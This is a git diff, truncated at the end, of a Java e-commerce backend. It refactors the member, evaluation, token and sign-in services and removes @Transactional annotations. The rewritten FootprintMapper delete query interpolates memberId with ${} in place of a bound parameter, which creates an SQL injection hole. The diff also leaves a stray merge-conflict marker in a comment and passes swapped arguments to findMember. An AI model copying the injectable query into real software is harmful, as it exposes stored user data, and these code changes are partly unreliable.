d0967bd1..2d11c912 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/StoreGoodsLabelServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/StoreGoodsLabelServiceImpl.java @@ -30,7 +30,6 @@ import java.util.List; * @since 2020-03-07 16:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class StoreGoodsLabelServiceImpl extends ServiceImpl implements StoreGoodsLabelService { /** diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dto/EvaluationQueryParams.java b/framework/src/main/java/cn/lili/modules/member/entity/dto/EvaluationQueryParams.java index 28fb21f8..90cbbdf7 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/dto/EvaluationQueryParams.java +++ b/framework/src/main/java/cn/lili/modules/member/entity/dto/EvaluationQueryParams.java @@ -1,12 +1,11 @@ package cn.lili.modules.member.entity.dto; -import cn.lili.common.security.context.UserContext; -import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.StringUtils; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.vo.PageVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 评价查询条件 @@ -14,13 +13,19 @@ import lombok.Data; * @author Bulbasaur * @since 2020/11/30 14:52 */ +@EqualsAndHashCode(callSuper = true) @Data public class EvaluationQueryParams extends PageVO { + @ApiModelProperty(value = "ID") + private String id; @ApiModelProperty(value = "买家ID") private String memberId; + @ApiModelProperty(value = "skuID") + private String skuId; + @ApiModelProperty(value = "会员名称") private String memberName; @@ -51,40 +56,42 @@ public class EvaluationQueryParams extends PageVO { @ApiModelProperty(value = "状态") private String status; - public EvaluationQueryParams() { - - } - public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); - if (StringUtils.isNotEmpty(startTime) && StringUtils.isNotEmpty(endTime)) { + if (CharSequenceUtil.isNotEmpty(id)) { + queryWrapper.eq("id", id); + } + if (CharSequenceUtil.isNotEmpty(startTime) && CharSequenceUtil.isNotEmpty(endTime)) { queryWrapper.between("create_time", startTime, endTime); } - if (StringUtils.isNotEmpty(grade)) { + if (CharSequenceUtil.isNotEmpty(grade)) { queryWrapper.eq("grade", grade); } - if (StringUtils.isNotEmpty(goodsName)) { + if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } - if (StringUtils.isNotEmpty(storeName)) { + if (CharSequenceUtil.isNotEmpty(storeName)) { queryWrapper.like("store_name", storeName); } - if (StringUtils.isNotEmpty(memberName)) { + if (CharSequenceUtil.isNotEmpty(memberName)) { queryWrapper.like("member_name", memberName); } - if (StringUtils.isNotEmpty(goodsId)) { + if (CharSequenceUtil.isNotEmpty(goodsId)) { queryWrapper.eq("goods_id", goodsId); } - if (StringUtils.isNotEmpty(storeId)) { + if (CharSequenceUtil.isNotEmpty(skuId)) { + queryWrapper.eq("sku_id", skuId); + } + if (CharSequenceUtil.isNotEmpty(storeId)) { queryWrapper.eq("store_id", storeId); } - if (StringUtils.isNotEmpty(memberId)) { + if (CharSequenceUtil.isNotEmpty(memberId)) { queryWrapper.eq("member_id", memberId); } - if (StringUtils.isNotEmpty(haveImage)) { + if (CharSequenceUtil.isNotEmpty(haveImage)) { queryWrapper.eq("have_image", haveImage); } - if (StringUtils.isNotEmpty(status)) { + if (CharSequenceUtil.isNotEmpty(status)) { queryWrapper.eq("status", status); } queryWrapper.eq("delete_flag", false); diff --git a/framework/src/main/java/cn/lili/modules/member/mapper/FootprintMapper.java b/framework/src/main/java/cn/lili/modules/member/mapper/FootprintMapper.java index ecfee4c7..6638d618 100644 --- a/framework/src/main/java/cn/lili/modules/member/mapper/FootprintMapper.java +++ b/framework/src/main/java/cn/lili/modules/member/mapper/FootprintMapper.java @@ -34,8 +34,9 @@ public interface FootprintMapper extends BaseMapper { * * @param memberId 会员ID */ - @Delete("DELETE FROM li_foot_print WHERE (SELECT COUNT(b.id) FROM ( SELECT * FROM li_foot_print WHERE member_id = #{memberId} ) b) >100 " + - " AND id =(SELECT a.id FROM ( SELECT * FROM li_foot_print WHERE member_id = #{memberId} ORDER BY create_time ASC LIMIT 1 ) AS a)") + @Delete("DELETE FROM li_foot_print l1 WHERE l1.id IN (" + + "SELECT l2.id FROM (" + + "SELECT l3.id FROM li_foot_print l3 WHERE l3.member_id=${memberId} ORDER BY id DESC LIMIT 100,100) l2)") void deleteLastFootPrint(String memberId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java index 44878063..860018be 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java @@ -41,9 +41,10 @@ public interface MemberEvaluationService extends IService { * 4.发送用户评价消息修改商品的评价数量以及好评率 * * @param memberEvaluationDTO 评论 + * @param isSelf 是否自己操作(true:买家操作/false 系统操作) * @return 操作状态 */ - MemberEvaluationDTO addMemberEvaluation(MemberEvaluationDTO memberEvaluationDTO); + MemberEvaluationDTO addMemberEvaluation(MemberEvaluationDTO memberEvaluationDTO, Boolean isSelf); /** * 根据ID查询会员评价 @@ -88,5 +89,26 @@ public interface MemberEvaluationService extends IService { */ EvaluationNumberVO getEvaluationNumber(String goodsId); + /** + * 获取今天新增的评价数量 + * + * @return 今日评价数量 + */ + long todayMemberEvaluation(); + + /** + * 获取等待回复评价数量 + * + * @return 等待回复评价数量 + */ + long getWaitReplyNum(); + + /** + * 统计商品评价数量 + * + * @param evaluationQueryParams 查询条件 + * @return 商品评价数量 + */ + long getEvaluationCount(EvaluationQueryParams evaluationQueryParams); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java index 0fa448a9..ab747ecd 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java @@ -33,7 +33,7 @@ public interface MemberService extends IService { Member getUserInfo(); /** - * 是否可以通过手机获取用户 + * 通过手机获取用户 * * @param mobile 手机号 * @return 操作状态 @@ -222,6 +222,7 @@ public interface MemberService extends IService { void logout(UserEnums userEnums); /** + * <<<<<<< HEAD * 修改会员是否拥有店铺 * * @param haveStore 是否拥有店铺 @@ -237,4 +238,19 @@ public interface MemberService extends IService { * @param ids 会员id */ void resetPassword(List ids); + + /* + * 获取所有会员的手机号 + * + * @return 所有会员的手机号 + */ + List getAllMemberMobile(); + + /** + * 更新会员登录时间为最新时间 + * + * @param memberId 会员id + * @return 是否更新成功 + */ + boolean updateMemberLoginTime(String memberId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java index ff5dd16c..eaafccf0 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java @@ -27,7 +27,6 @@ import java.util.Objects; * @since 2020/11/18 10:46 上午 */ @Service -@Transactional(rollbackFor = Exception.class) public class FootprintServiceImpl extends ServiceImpl implements FootprintService { /** diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java index 1c6e8838..515cbc39 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java @@ -26,7 +26,6 @@ import java.util.Optional; * @since 2020/11/18 2:25 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class GoodsCollectionServiceImpl extends ServiceImpl implements GoodsCollectionService { diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberAddressServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberAddressServiceImpl.java index 33915e7e..e206908d 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberAddressServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberAddressServiceImpl.java @@ -23,7 +23,6 @@ import java.util.Objects; * @since 2020/11/18 9:44 上午 */ @Service -@Transactional(rollbackFor = Exception.class) public class MemberAddressServiceImpl extends ServiceImpl implements MemberAddressService { @Override diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java index bc33d8c3..bce3490f 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java @@ -1,11 +1,15 @@ package cn.lili.modules.member.serviceimpl; +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.SwitchEnum; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.context.UserContext; +import cn.lili.common.security.enums.UserEnums; import cn.lili.common.sensitive.SensitiveWordsFilter; import cn.lili.common.utils.StringUtils; import cn.lili.modules.goods.entity.dos.GoodsSku; @@ -29,6 +33,7 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.mybatis.util.PageUtil; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.GoodsTagsEnum; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; @@ -51,7 +56,6 @@ import java.util.Map; * @since 2020-02-25 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class MemberEvaluationServiceImpl extends ServiceImpl implements MemberEvaluationService { /** @@ -102,13 +106,15 @@ public class MemberEvaluationServiceImpl extends ServiceImpl().ge(MemberEvaluation::getCreateTime, DateUtil.beginOfDay(new DateTime()))); + } + + @Override + public long getWaitReplyNum() { + QueryWrapper queryWrapper = Wrappers.query(); + queryWrapper.eq(CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + "store_id", UserContext.getCurrentUser().getStoreId()); + queryWrapper.eq("reply_status", false); + return this.count(queryWrapper); + } + + /** + * 统计商品评价数量 + * + * @param evaluationQueryParams 查询条件 + * @return 商品评价数量 + */ + @Override + public long getEvaluationCount(EvaluationQueryParams evaluationQueryParams) { + return this.count(evaluationQueryParams.queryWrapper()); + } + /** * 检测会员评价 * diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java index 6f6736da..f1557ca6 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java @@ -1,27 +1,22 @@ package cn.lili.modules.member.serviceimpl; -import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.enums.PointTypeEnum; -import cn.lili.modules.member.mapper.MemberMapper; -import cn.lili.modules.member.service.MemberService; -import cn.lili.mybatis.util.PageUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; +import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.MemberPointsHistory; import cn.lili.modules.member.entity.vo.MemberPointsHistoryVO; import cn.lili.modules.member.mapper.MemberPointsHistoryMapper; import cn.lili.modules.member.service.MemberPointsHistoryService; +import cn.lili.modules.member.service.MemberService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; -import java.util.ArrayList; -import java.util.List; - /** * 会员积分历史业务层实现 * @@ -51,8 +46,8 @@ public class MemberPointsHistoryServiceImpl extends ServiceImpl MemberPointsHistoryList(PageVO page, String memberId, String memberName) { LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .eq(memberId != null, MemberPointsHistory::getMemberId, memberId) - .like(memberName != null, MemberPointsHistory::getMemberName, memberName); + .eq(CharSequenceUtil.isNotEmpty(memberId), MemberPointsHistory::getMemberId, memberId) + .like(CharSequenceUtil.isNotEmpty(memberName), MemberPointsHistory::getMemberName, memberName); //如果排序为空,则默认创建时间倒序 if (StringUtils.isEmpty(page.getSort())) { page.setSort("createTime"); diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index ccf6908f..88ca81b2 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -18,6 +18,7 @@ import cn.lili.common.sensitive.SensitiveWordsFilter; import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.CookieUtil; import cn.lili.common.utils.StringUtils; +import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.UuidUtils; import cn.lili.common.vo.PageVO; import cn.lili.modules.connect.config.ConnectAuthEnum; @@ -50,8 +51,8 @@ import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; +import java.util.Date; import java.util.List; import java.util.Map; import java.util.Objects; @@ -63,7 +64,6 @@ import java.util.Objects; * @since 2021-03-29 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class MemberServiceImpl extends ServiceImpl implements MemberService { /** @@ -126,6 +126,7 @@ public class MemberServiceImpl extends ServiceImpl impleme return this.baseMapper.selectOne(queryWrapper); } + @Override public Token usernameLogin(String username, String password) { Member member = this.findMember(username); @@ -138,7 +139,7 @@ public class MemberServiceImpl extends ServiceImpl impleme throw new ServiceException(ResultCode.USER_PASSWORD_ERROR); } loginBindUser(member); - return memberTokenGenerate.createToken(member.getUsername(), false); + return memberTokenGenerate.createToken(member, false); } @Override @@ -163,7 +164,7 @@ public class MemberServiceImpl extends ServiceImpl impleme throw new ServiceException(ResultCode.USER_NOT_EXIST); } - return storeTokenGenerate.createToken(member.getUsername(), false); + return storeTokenGenerate.createToken(member, false); } /** @@ -191,12 +192,10 @@ public class MemberServiceImpl extends ServiceImpl impleme String username = UuidUtils.getUUID(); Member member = new Member(username, UuidUtils.getUUID(), authUser.getAvatar(), authUser.getNickname(), authUser.getGender() != null ? Convert.toInt(authUser.getGender().getCode()) : 0); - //保存会员 - this.save(member); - Member loadMember = this.findByUsername(username); + registerHandler(member); //绑定登录方式 - loginBindUser(loadMember, authUser.getUuid(), authUser.getSource()); - return memberTokenGenerate.createToken(username, false); + loginBindUser(member, authUser.getUuid(), authUser.getSource()); + return memberTokenGenerate.createToken(member, false); } catch (ServiceException e) { log.error("自动注册服务泡出异常:", e); throw e; @@ -230,13 +229,23 @@ public class MemberServiceImpl extends ServiceImpl impleme //如果手机号不存在则自动注册用户 if (member == null) { member = new Member(mobilePhone, UuidUtils.getUUID(), mobilePhone); - //保存会员 - this.save(member); - String destination = rocketmqCustomProperties.getMemberTopic() + ":" + MemberTagsEnum.MEMBER_REGISTER.name(); - rocketMQTemplate.asyncSend(destination, member, RocketmqSendCallbackBuilder.commonCallback()); + registerHandler(member); } loginBindUser(member); - return memberTokenGenerate.createToken(member.getUsername(), false); + return memberTokenGenerate.createToken(member, false); + } + + /** + * 注册方法抽象 + * + * @param member + */ + private void registerHandler(Member member) { + member.setId(SnowFlake.getIdStr()); + //保存会员 + this.save(member); + String destination = rocketmqCustomProperties.getMemberTopic() + ":" + MemberTagsEnum.MEMBER_REGISTER.name(); + rocketMQTemplate.asyncSend(destination, member, RocketmqSendCallbackBuilder.commonCallback()); } @Override @@ -272,13 +281,9 @@ public class MemberServiceImpl extends ServiceImpl impleme //设置会员信息 Member member = new Member(userName, new BCryptPasswordEncoder().encode(password), mobilePhone); //注册成功后用户自动登录 - if (this.save(member)) { - Token token = memberTokenGenerate.createToken(member.getUsername(), false); - String destination = rocketmqCustomProperties.getMemberTopic() + ":" + MemberTagsEnum.MEMBER_REGISTER.name(); - rocketMQTemplate.asyncSend(destination, member, RocketmqSendCallbackBuilder.commonCallback()); - return token; - } - return null; + registerHandler(member); + Token token = memberTokenGenerate.createToken(member, false); + return token; } @Override @@ -306,6 +311,7 @@ public class MemberServiceImpl extends ServiceImpl impleme LambdaUpdateWrapper lambdaUpdateWrapper = Wrappers.lambdaUpdate(); lambdaUpdateWrapper.eq(Member::getMobile, phone); lambdaUpdateWrapper.set(Member::getPassword, new BCryptPasswordEncoder().encode(password)); + cache.remove(CachePrefix.FIND_MOBILE + uuid); return this.update(lambdaUpdateWrapper); } else { throw new ServiceException(ResultCode.USER_PHONE_NOT_EXIST); @@ -321,9 +327,7 @@ public class MemberServiceImpl extends ServiceImpl impleme //添加会员 Member member = new Member(memberAddDTO.getUsername(), new BCryptPasswordEncoder().encode(memberAddDTO.getPassword()), memberAddDTO.getMobile()); - this.save(member); - String destination = rocketmqCustomProperties.getMemberTopic() + ":" + MemberTagsEnum.MEMBER_REGISTER.name(); - rocketMQTemplate.asyncSend(destination, member, RocketmqSendCallbackBuilder.commonCallback()); + registerHandler(member); return member; } @@ -420,10 +424,11 @@ public class MemberServiceImpl extends ServiceImpl impleme * @param mobilePhone 手机号 * @return 会员 */ - private Member findByPhone(String mobilePhone) { + private Long findMember(String mobilePhone, String userName) { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("mobile", mobilePhone); - return this.baseMapper.selectOne(queryWrapper); + queryWrapper.eq("mobile", mobilePhone) + .or().eq("username", userName); + return this.baseMapper.selectCount(queryWrapper); } /** @@ -597,6 +602,30 @@ public class MemberServiceImpl extends ServiceImpl impleme this.update(lambdaUpdateWrapper); } + /** + * 获取所有会员的手机号 + * + * @return 所有会员的手机号 + */ + @Override + public List getAllMemberMobile() { + return this.baseMapper.getAllMemberMobile(); + } + + /** + * 更新会员登录时间为最新时间 + * + * @param memberId 会员id + * @return 是否更新成功 + */ + @Override + public boolean updateMemberLoginTime(String memberId) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(Member::getId, memberId); + updateWrapper.set(Member::getLastLoginDate, new Date()); + return this.update(updateWrapper); + } + /** * 检测会员 * @@ -604,13 +633,9 @@ public class MemberServiceImpl extends ServiceImpl impleme * @param mobilePhone 手机号 */ private void checkMember(String userName, String mobilePhone) { - //判断用户名是否存在 - if (findByUsername(userName) != null) { - throw new ServiceException(ResultCode.USER_NAME_EXIST); - } //判断手机号是否存在 - if (findByPhone(mobilePhone) != null) { - throw new ServiceException(ResultCode.USER_PHONE_EXIST); + if (findMember(userName, mobilePhone) > 0) { + throw new ServiceException(ResultCode.USER_EXIST); } } diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberSignServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberSignServiceImpl.java index 25dd0ea0..f5821133 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberSignServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberSignServiceImpl.java @@ -67,14 +67,6 @@ public class MemberSignServiceImpl extends ServiceImpl queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("member_id", authUser.getId()); - queryWrapper.between("create_time", new Date(DateUtil.startOfTodDay() * 1000), DateUtil.getCurrentDayEndTime()); - //校验今天是否已经签到 - List todaySigns = this.baseMapper.getTodayMemberSign(queryWrapper); - if (todaySigns.size() > 0) { - throw new ServiceException(ResultCode.MEMBER_SIGN_REPEAT); - } //当前签到天数的前一天日期 List signs = this.baseMapper.getBeforeMemberSign(authUser.getId()); //构建参数 @@ -89,14 +81,17 @@ public class MemberSignServiceImpl extends ServiceImpl 0) { + //手动写入创建时间,以保证唯一索引生效 + memberSign.setCreateTime(DateUtil.getCurrentDayEndTime()); + try { + this.baseMapper.insert(memberSign); + //签到成功后发送消息赠送积分 String destination = rocketmqCustomProperties.getMemberTopic() + ":" + MemberTagsEnum.MEMBER_SING.name(); rocketMQTemplate.asyncSend(destination, memberSign, RocketmqSendCallbackBuilder.commonCallback()); return true; + } catch (Exception e) { + throw new ServiceException(ResultCode.MEMBER_SIGN_REPEAT); } - return false; } throw new ServiceException(ResultCode.USER_NOT_LOGIN); } diff --git a/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java b/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java index 9e2b13da..b83ac909 100644 --- a/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java @@ -1,14 +1,17 @@ package cn.lili.modules.member.token; +import cn.lili.common.context.ThreadContextHolder; +import cn.lili.common.enums.ClientTypeEnum; +import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.AuthUser; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.security.token.Token; import cn.lili.common.security.token.TokenUtil; import cn.lili.common.security.token.base.AbstractTokenGenerate; -import cn.lili.common.context.ThreadContextHolder; -import cn.lili.common.enums.ClientTypeEnum; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.service.MemberService; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.MemberTagsEnum; +import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @@ -22,17 +25,17 @@ import java.util.Date; * @since 2020/11/16 10:50 */ @Component -public class MemberTokenGenerate extends AbstractTokenGenerate { - - @Autowired - private MemberService memberService; +public class MemberTokenGenerate extends AbstractTokenGenerate { @Autowired private TokenUtil tokenUtil; + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; + + @Autowired + private RocketMQTemplate rocketMQTemplate; @Override - public Token createToken(String username, Boolean longTerm) { - - Member member = memberService.findByUsername(username); + public Token createToken(Member member, Boolean longTerm) { //获取客户端类型 String clientType = ThreadContextHolder.getHttpRequest().getHeader("clientType"); @@ -50,11 +53,12 @@ public class MemberTokenGenerate extends AbstractTokenGenerate { //记录最后登录时间,客户端类型 member.setLastLoginDate(new Date()); member.setClientEnum(clientTypeEnum.name()); - memberService.updateById(member); + String destination = rocketmqCustomProperties.getMemberTopic() + ":" + MemberTagsEnum.MEMBER_LOGIN.name(); + rocketMQTemplate.asyncSend(destination, member, RocketmqSendCallbackBuilder.commonCallback()); - AuthUser authUser = new AuthUser(member.getUsername(), member.getId(),member.getNickName(), UserEnums.MEMBER); + AuthUser authUser = new AuthUser(member.getUsername(), member.getId(), member.getNickName(), member.getFace(), UserEnums.MEMBER); //登陆成功生成token - return tokenUtil.createToken(username, authUser, longTerm, UserEnums.MEMBER); + return tokenUtil.createToken(member.getUsername(), authUser, longTerm, UserEnums.MEMBER); } @Override diff --git a/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java b/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java index a6040a51..92561584 100644 --- a/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java @@ -15,12 +15,9 @@ import cn.lili.modules.member.entity.dos.Clerk; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.vo.StoreUserMenuVO; import cn.lili.modules.member.service.ClerkService; -import cn.lili.modules.member.service.MemberService; import cn.lili.modules.member.service.StoreMenuRoleService; -import cn.lili.modules.permission.entity.vo.UserMenuVO; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.service.StoreService; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @@ -37,9 +34,7 @@ import java.util.Map; * @since 2020/11/16 10:51 */ @Component -public class StoreTokenGenerate extends AbstractTokenGenerate { - @Autowired - private MemberService memberService; +public class StoreTokenGenerate extends AbstractTokenGenerate { @Autowired private StoreService storeService; @Autowired @@ -52,10 +47,8 @@ public class StoreTokenGenerate extends AbstractTokenGenerate { private ClerkService clerkService; @Override - public Token createToken(String username, Boolean longTerm) { - //生成token - Member member = memberService.findByUsername(username); - if (!member.getHaveStore()) { + public Token createToken(Member member, Boolean longTerm) { + if (Boolean.FALSE.equals(member.getHaveStore())) { throw new ServiceException(ResultCode.STORE_NOT_OPEN); } //根据会员id查询店员信息 @@ -77,9 +70,10 @@ public class StoreTokenGenerate extends AbstractTokenGenerate { if (store == null) { throw new ServiceException(ResultCode.STORE_NOT_OPEN); } - user.setStoreId(store.getId()); - user.setStoreName(store.getStoreName()); - return tokenUtil.createToken(username, user, longTerm, UserEnums.STORE); + AuthUser authUser = new AuthUser(member.getUsername(), member.getId(), member.getNickName(), store.getStoreLogo(), UserEnums.STORE); + authUser.setStoreId(store.getId()); + authUser.setStoreName(store.getStoreName()); + return tokenUtil.createToken(member.getUsername(), authUser, longTerm, UserEnums.STORE); } @Override diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/MessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/message/serviceimpl/MessageServiceImpl.java index 690df3d8..31d31150 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/MessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/message/serviceimpl/MessageServiceImpl.java @@ -23,7 +23,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020/11/17 3:48 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class MessageServiceImpl extends ServiceImpl implements MessageService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java b/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java index 5d734def..cd74a386 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java @@ -16,7 +16,6 @@ import java.util.List; * @author Chopper */ @Service -@Transactional(rollbackFor = Exception.class) public class ShortLinkServiceImpl extends ServiceImpl implements ShortLinkService { @Override diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java index 1f126b9e..f18d6bd5 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java @@ -1,7 +1,7 @@ package cn.lili.modules.order.aftersale.entity.dto; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java index 6c8bfcd1..66e91231 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java @@ -1,12 +1,13 @@ package cn.lili.modules.order.aftersale.entity.vo; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import org.springframework.format.annotation.DateTimeFormat; import java.util.Date; @@ -17,6 +18,7 @@ import java.util.Date; * @author paulG * @since 2020/12/4 **/ +@EqualsAndHashCode(callSuper = true) @Data public class AfterSaleSearchParams extends PageVO { @@ -44,6 +46,9 @@ public class AfterSaleSearchParams extends PageVO { @ApiModelProperty(value = "实际退款金额,可以为范围,如10_1000") private String actualRefundPrice; + @ApiModelProperty(value = "总价格,可以为范围,如10_1000") + private String flowPrice; + /** * @see cn.lili.modules.order.trade.entity.enums.AfterSaleTypeEnum */ @@ -66,33 +71,33 @@ public class AfterSaleSearchParams extends PageVO { public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); - if (StringUtils.isNotEmpty(sn)) { + if (CharSequenceUtil.isNotEmpty(sn)) { queryWrapper.like("sn", sn); } - if (StringUtils.isNotEmpty(orderSn)) { + if (CharSequenceUtil.isNotEmpty(orderSn)) { queryWrapper.like("order_sn", orderSn); } //按买家查询 - if 